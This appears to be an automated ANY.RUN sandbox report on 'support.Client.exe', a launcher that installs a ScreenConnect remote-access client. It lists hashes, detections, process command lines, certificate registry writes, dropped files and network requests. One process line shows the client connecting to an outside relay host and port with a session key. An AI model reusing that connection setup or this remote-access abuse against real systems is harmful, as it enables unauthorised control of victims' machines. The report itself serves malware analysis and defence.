Malware analysis support.Client.exe Malicious activity

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File name:	support.Client.exe
Full analysis:	https://app.any.run/tasks/c7044f6f-d3f5-4bce-b8da-b700b6d68907
Verdict:	Malicious activity
Analysis date:	November 19, 2024, 18:54:58
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	remote screenconnect
Indicators:
MIME:	application/vnd.microsoft.portable-executable
File info:	PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:	1C9B847B258E5825F5E4FE1420A94C1C
SHA1:	4F1488059470721BCAF9D2EA13D44CF94A9DDD84
SHA256:	E393B4266F91BFD981CA5D702769B87F3F111C1E04E35CF3D096EEB82F5E0720
SSDEEP:	1536:oWNeDLHPUVkKo2cgigKIhTnH2QjCdqQsWQcdakBbfqXNKrnV:aDLHcVkKo2cZgKIhTH2U+la2bfq2nV

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- SCREENCONNECT has been detected (SURICATA)
  - ScreenConnect.ClientService.exe (PID: 6268)
SUSPICIOUS
- Adds/modifies Windows certificates
  - support.Client.exe (PID: 4516)
- Reads security settings of Internet Explorer
  - dfsvc.exe (PID: 3816)
- Potential Corporate Privacy Violation
  - ScreenConnect.ClientService.exe (PID: 6268)
- Executes as Windows Service
  - ScreenConnect.ClientService.exe (PID: 6268)
- Executable content was dropped or overwritten
  - dfsvc.exe (PID: 3816)
- Connects to unusual port
  - ScreenConnect.ClientService.exe (PID: 6268)
INFO
- Checks supported languages
  - support.Client.exe (PID: 4516)
  - dfsvc.exe (PID: 3816)
- Reads the machine GUID from the registry
  - dfsvc.exe (PID: 3816)
  - support.Client.exe (PID: 4516)
- Reads the computer name
  - support.Client.exe (PID: 4516)
  - dfsvc.exe (PID: 3816)
- Disables trace logs
  - dfsvc.exe (PID: 3816)
- Creates files or folders in the user directory
  - dfsvc.exe (PID: 3816)
- Reads Environment values
  - dfsvc.exe (PID: 3816)
- The process uses the downloaded file
  - dfsvc.exe (PID: 3816)
- Checks proxy server information
  - dfsvc.exe (PID: 3816)
- Reads the software policy settings
  - dfsvc.exe (PID: 3816)
- Create files in a temporary directory
  - dfsvc.exe (PID: 3816)
- Sends debugging messages
  - dfsvc.exe (PID: 3816)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win32 Executable MS Visual C++ (generic) (42.2)
.exe	\|	Win64 Executable (generic) (37.3)
.dll	\|	Win32 Dynamic Link Library (generic) (8.8)
.exe	\|	Win32 Executable (generic) (6)
.exe	\|	Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2024:08:13 22:26:58+00:00
ImageFileCharacteristics:	Executable, 32-bit
PEType:	PE32
LinkerVersion:	14.39
CodeSize:	40448
InitializedDataSize:	32768
UninitializedDataSize:	-
EntryPoint:	0x1489
OSVersion:	5.1
ImageVersion:	-
SubsystemVersion:	5.1
Subsystem:	Windows GUI

No data.

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All screenshots are available in the full report

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Total processes

127

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

"C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.WindowsClient.exe"

C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.WindowsClient.exe

—

dfsvc.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Exit code:

Version:

24.2.10.8991

Modules

Images
c:\users\admin\appdata\local\apps\2.0\qlmv064y.xv6\t6j4d6zw.t1v\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

2192

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

3816

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

support.Client.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

ClickOnce

Version:

4.8.9037.0 built by: NET481REL1

Modules

Images
c:\windows\microsoft.net\framework64\v4.0.30319\dfsvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

4516

"C:\Users\admin\AppData\Local\Temp\support.Client.exe"

C:\Users\admin\AppData\Local\Temp\support.Client.exe

—

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

Modules

Images
c:\users\admin\appdata\local\temp\support.client.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\crypt32.dll

6228

"C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=m6back639.win&p=8880&s=907bf274-ab91-40a2-9205-59abb7b8c440&k=BgIAAACkAABSU0ExAAgAAAEAAQDZAOY87vjrRvype3B8TILf%2biofjpugMWQbYt31TAYqIR0soq1hZ7cDUq00yWLCIw2oC13Y9N2tB7zd9tJn5Eb7jWOr0DxRV88I2b7M%2f9ML%2bE9VkWrNWjHvGuYmSi63U7InpNzsHRDa8Zi3od%2b5ZTDz8ZHisZv1fKNdYQREkkAEK0F8lehvi07J%2fCAkIafjBQIjsAbdelCBvgTGBFwy2u27yo7RIpVJpQaBTBxbGA2dr%2fBLKcB5bs%2fuiUPukIbTLnvC6RjmtM9dvWfXmTiQpZ4maXjYTBAsPjHw8Wp0Vni0I3mNJBQYT5PCDMKKB%2fZoMpVDeFiJul8%2bJ8PaHmDe9dav&r=&i=Untitled%20Session" "1"

C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.ClientService.exe

ScreenConnect.WindowsClient.exe

User:

admin

Integrity Level:

HIGH

Exit code:

Version:

24.2.10.8991

Modules

Images
c:\users\admin\appdata\local\apps\2.0\qlmv064y.xv6\t6j4d6zw.t1v\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\shlwapi.dll

6268

C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.ClientService.exe

services.exe

User:

SYSTEM

Integrity Level:

SYSTEM

Version:

24.2.10.8991

Modules

Images
c:\users\admin\appdata\local\apps\2.0\qlmv064y.xv6\t6j4d6zw.t1v\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\screenconnect.clientservice.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\shlwapi.dll
c:\windows\syswow64\msvcrt.dll

6344

"C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.WindowsClient.exe" "RunRole" "f38bd88f-080c-4d21-b29c-7fd658e74194" "User"

C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.WindowsClient.exe

—

ScreenConnect.ClientService.exe

User:

admin

Company:

ScreenConnect Software

Integrity Level:

MEDIUM

Description:

ScreenConnect Client

Version:

24.2.10.8991

Modules

Images
c:\users\admin\appdata\local\apps\2.0\qlmv064y.xv6\t6j4d6zw.t1v\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

6476

C:\Users\admin\AppData\Local\Apps\2.0\QLMV064Y.XV6\T6J4D6ZW.T1V\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\ScreenConnect.WindowsClient.exe

—

ScreenConnect.ClientService.exe

User:

SYSTEM

Company:

ScreenConnect Software

Integrity Level:

SYSTEM

Description:

ScreenConnect Client

Exit code:

Version:

24.2.10.8991

Modules

Images
c:\users\admin\appdata\local\apps\2.0\qlmv064y.xv6\t6j4d6zw.t1v\scre..tion_25b0fbb6ef7eb094_0018.0002_30de5947d98040a9\screenconnect.windowsclient.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

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Total events

8 922

Read events

8 723

Write events

168

Delete events

Modification events


(PID) Process:	(4516) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	7B0F360B775F76C94A12CA48445AA2D2A875701C
Value:
(PID) Process:	(4516) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C
Operation:	write	Name:	Blob
Value: 0300000001000000140000007B0F360B775F76C94A12CA48445AA2D2A875701C2000000001000000B4060000308206B030820498A003020102021008AD40B260D29C4C9F5ECDA9BD93AED9300D06092A864886F70D01010C05003062310B300906035504061302555331153013060355040A130C446967694365727420496E6331193017060355040B13107777772E64696769636572742E636F6D3121301F060355040313184469676943657274205472757374656420526F6F74204734301E170D3231303432393030303030305A170D3336303432383233353935395A3069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E6720525341343039362053484133383420323032312043413130820222300D06092A864886F70D01010105000382020F003082020A0282020100D5B42F42D028AD78B75DD539591BB18842F5338CEB3D819770C5BBC48526309FA48E68D85CF5EB342407E14B4FD37843F417D71EDAF9D2D5671A524F0EA157FC8899C191CC81033E4D702464B38DE2087D347D4C8057126B439A99F2C53B1FF2EFCB475A13A64CB3012025F310D38BB2FB08F08AE09D09C065A7FA98804935873D5119E8902178452EA19F2CE118C21ACCC5EE93497042328FFBC6EA1CF3656891A24D4C8211485268DE10BD14575DE8181365C57FB24F852C48A4568435D6F92E9CAA0015D137FE1A0694C27CC8EA1B32E6CAC2F4A7A3030E74A5AF39B6AB6012E3E8D6B9F731E1DCADE418A0D8C1234747B3A10F6EA3AB6D9806831BB76A672DD2BD441A9210818FB03B09D7C79B325AC2FF6A60548B49C193EDE1B45CE06FEB26F98CD5B2F93810E6EACE91F5BED3FB6F9361345CBC93452883362A66285FB073CE8B262506B283D45CF615194CED62E05E33F2E8E8EC0AA7B0032B91B23679BEF7AD081E75A665CCBBE34850F377911AFEDB50A246C8615898F57C02163C8328AD3986ECD4B70D53D0F847E675308DEC30937614A65B4B5D74614D3F129176DEBF58CB72102941F0D5C56D267668114113589ADC262B01F4894D59DB78CF814A3E40475FC98150738510232159608A6454C1CC211AE838197C661CCD78384530994FFF634F4CBBAA0D0853417C583D47B3FAB6EC8C320902CC6C3C0C56110203010001A38201593082015530120603551D130101FF040830060101FF020100301D0603551D0E041604146837E0EBB63BF85F1186FBFE617B088865F44E42301F0603551D23041830168014ECD7E382D2715D644CDF2E673FE7BA98AE1C0F4F300E0603551D0F0101FF04040302018630130603551D25040C300A06082B06010505070303307706082B06010505070101046B3069302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D304106082B060105050730028635687474703A2F2F636163657274732E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63727430430603551D1F043C303A3038A036A0348632687474703A2F2F63726C332E64696769636572742E636F6D2F446967694365727454727573746564526F6F7447342E63726C301C0603551D20041530133007060567810C01033008060667810C010401300D06092A864886F70D01010C050003820201003A23443D8D0876EE8FBC3A99D356E0021AA5F84834F32CB6E67466F79472B100CAAF6C302713129E90449F4BFD9EA37C26D537BC3A5D486D95D53F49F427BB16814550FD9CBDB685E0767E3771CB22F75AAA90CFF5936AE3EB20D1D55079889A8A8AC1B6BDA148187EDCD8801A111918CD61998156F6C9E376E7C4E41B5F43F83E94FF76393D9ED499CF4ADD28EB5F26A1955848D51AFED7273FFD90D17686DD1CB0605CF30DA8EEE089A1BD39E1384EDA6EBB369DFBE521535AC3CAE96AF1A23EDB43B833C84F38149299F5DDCE546DD95D02141F40337C03E295B2C221757352CB46D8C4341CA2A54B8DCD6F76372C853F1ACE26E918BE9007B0437F9588208270F0CCCAEFFD29355C1F893855F7378A8B09A1CB0BE9311AFF2E195C3971E1BE9CA70A06D62667B792E64E5FDE7AAC49CF2EA47492ADDB3CA49C861FE3C1561B2B23FF8FB5EA887B706BE6A0BAFD3A3F45A6C4E81691528B41C048844B964DAB4440E38DF01528CEEDF11856072A2F10C40C08643C338FAE288C3CCB8F880B0DBF3BF4CE1E7B8EEFB5EBCBB7F07713E6E7283FAC12AEA52F226C41F9825C1566CC6C0ECAC586C3F626330C074BA0D307026A6A4030484B34A85120BBAD1B8508E2590D6DCA05502BEA4A1C9EA5FDA0A71F0674E7F2D65290FDAF854821F9573BB49C03ED8645F4B4616EBF68E2266086EAC8AFA9FE941DE7631B3A8656784E
(PID) Process:	(4516) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates
Operation:	delete value	Name:	4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Value:
(PID) Process:	(4516) support.Client.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579
Operation:	write	Name:	Blob
Value: 0300000001000000140000004C2272FBA7A7380F55E2A424E9E624AEE1C145792000000001000000640700003082076030820548A00302010202100B9360051BCCF66642998998D5BA97CE300D06092A864886F70D01010B05003069310B300906035504061302555331173015060355040A130E44696769436572742C20496E632E3141303F060355040313384469676943657274205472757374656420473420436F6465205369676E696E67205253413430393620534841333834203230323120434131301E170D3232303831373030303030305A170D3235303831353233353935395A3065310B30090603550406130255533110300E06035504081307466C6F72696461310E300C0603550407130554616D706131193017060355040A1310436F6E6E656374776973652C204C4C433119301706035504031310436F6E6E656374776973652C204C4C4330820222300D06092A864886F70D01010105000382020F003082020A0282020100EC489826D08D2C6DE21B3CD3676DB1E0E50CB1FF75FF564E9741F9574AA3640AA8297294A05B4DB68ABD0760B6B05B50CE92FF42A4E390BE776A43E9961C722F6B3A4D5C880BCC6A61B4026F9137D36B2B7E9B86055876B9FA860DBCB164FE7F4B5B9DE4799AE4E02DC1F0BEE01E5D032933A2827388F8DB0B482E76C441B1BD50909EF2023E1FB62196C994CE052266B28CD89253E6416044133139764DB5FC45702529536BF82C775F9EC81FA27DC409530325F40CDEF95B81B9CE0D42791CEE72E7BD1B36C257B52257C65A28970E457513989434BFC239E2992B193E1B3CC3F11CCDD1D26D4EC9845099AB913906A42069AF999C0071169B45A2EA1AA666F1904E8ACB05E1823A359A291FD46B4EF7AED5935BB6AB17EBF077210726930C90F01761D6544A94E8FA614CC41D817EEC734B1C3D3AFB7C58FB256F0C09EDC1459BDDBFF9940ED1958570265D67AF79A9B6A16AFFD70FC6328C9810D5DC186E39AF6FBCAD49A270F237E6BCD5DE0BC014BC3179CD79776591340311A42CA94F33416C2E01B59BD1D71DE86ACE6716BC90B2D7695D155039AA08FBAC19A4D93FB784230A20A485287A16355645FC09142C602D140FA046B7BFD75328184FF7BDF8F9E0D65E6201C8D242931047F59BD328AC353777CCEFA60408887B84FC3631301463461A1D73C0B5CC74D6D82905DDF923BDBAB027A311CC38D3FA16F639A50203010001A382020630820202301F0603551D230418301680146837E0EBB63BF85F1186FBFE617B088865F44E42301D0603551D0E04160414338CE10A6E06D9C6ED0BC6CAE736CEFB8188646A300E0603551D0F0101FF04040302078030130603551D25040C300A06082B060105050703033081B50603551D1F0481AD3081AA3053A051A04F864D687474703A2F2F63726C332E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C3053A051A04F864D687474703A2F2F63726C342E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E63726C303E0603551D20043730353033060667810C0104013029302706082B06010505070201161B687474703A2F2F7777772E64696769636572742E636F6D2F43505330819406082B06010505070101048187308184302406082B060105050730018618687474703A2F2F6F6373702E64696769636572742E636F6D305C06082B060105050730028650687474703A2F2F636163657274732E64696769636572742E636F6D2F4469676943657274547275737465644734436F64655369676E696E6752534134303936534841333834323032314341312E637274300C0603551D130101FF04023000300D06092A864886F70D01010B050003820201000AD79F00CF4984864C8981ECCE8718AA875647F6A74608C968E16568C7AA9D711ED7341676038067F01330C91621B27A2A8894C4108C268162A31F13F9757A7D6BB3C6F19BF27C3A29896D712D85873627D827CD6471761444FABF1D31E903F791143C5B4CE5E7444AACBA36D759AEBA3069D195226755CBC675AA747F77596C53C96E083C45BBA24479D6845EEA9F2B28BA29B4DCF0BCF14AA4CE176C24E2C1B8FEC3EE16E1C086DB6FDA97388859E83BE65C03F701395B78B842C6DD1533EF642CCA6FE50F6337D3F2DFEDD8B28F2B28E0C98EDD2151392E7CC75489F48859F1DE14C81B306EB50EED7BB78BE30EAADA76767C4CA523A11EEC5A2372D6122926AB1801A6A6778E9504791487EE47D4577154988802070F80FC535957658F954CD083546C5AFB5A6567B6761275F5DB20F70AB86FEEF94C7CFC65369D325121B69A82399BC7DC1962416F0F05CF1EEE64D495A3527E464E2C68DA0187093F97B673E43DDDBCC067E00713F1565FCFF8C3772D44B40A04E600644F22A990345F9A6B5B52963E82C81A0CE91D43A230F67B37D8DEBDA40EA3D59D305E18ADC1976516C12A8BA2BCA24143B12E9527B4DCA58872AA9B3A8C6AC563FC2DC02BF51BE889516D35A4BA9D062417B5BDCC50BA945FAE26B60D6AEC03984798A6A21D3FF793CC0849E81ED55B8027411C50DB776AE8FEEF2FDC2DAFB04345261DEDC054
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: 9ZH7E10BBD6WA69E6BQG3XP2
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete value	Name:	ComponentStore_RandomString
Value: 9ZH7E10BBD6WA69E6BQG3XP2
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	delete key	Name:	(default)
Value:
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0
Operation:	write	Name:	ComponentStore_RandomString
Value: QLMV064YXV6T6J4D6ZWT1VMA
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager
Operation:	write	Name:	StateStore_RandomString
Value: ZMBXAC4Q5PBOD4P3V28R88Q7
(PID) Process:	(3816) dfsvc.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\dfsvc_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.WindowsClient.exe.manifest		xml
		MD5:1DC9DD74A43D10C5F1EAE50D76856F36	SHA256:291FA1F674BE3CA15CFBAB6F72ED1033B5DD63BCB4AEA7FBC79FDCB6DD97AC0A
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.WindowsBackstageShell.exe		executable
		MD5:6DF2DEF5E591E2481E42924B327A9F15	SHA256:B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.WindowsFileManager.exe		executable
		MD5:B1799A5A5C0F64E9D61EE4BA465AFE75	SHA256:7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.WindowsFileManager.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.Client.dll.genman		xml
		MD5:2EA1AC1E39B8029AA1D1CEBB1079C706	SHA256:8965728D1E348834E3F1E2502061DFB9DB41478ACB719FE474FA2969078866E7
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.Client.dll		executable
		MD5:AE0E6EBA123683A59CAE340C894260E9	SHA256:D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.ClientService.dll		executable
		MD5:0402CF8AE8D04FCC3F695A7BB9548AA0	SHA256:C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.ClientService.exe		executable
		MD5:361BCC2CB78C75DD6F583AF81834E447	SHA256:512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
3816	dfsvc.exe	C:\Users\admin\AppData\Local\Temp\Deployment\DWMHK35H.B83\H9YX53ZR.TDC\ScreenConnect.WindowsClient.exe.config		xml
		MD5:728175E20FFBCEB46760BB5E1112F38B	SHA256:87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
3816	dfsvc.exe	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141		binary
		MD5:6B1A66C5B167B42E236F1D6B16653C93	SHA256:A9A9E4EA99ADC9EE2ACB10AC4E370F19AB27D1E31EFB411595EEA4443B15A1D9

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
4712	MoUsoCoreWorker.exe	GET	200	184.24.77.37:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	184.24.77.37:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	23.218.209.163:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
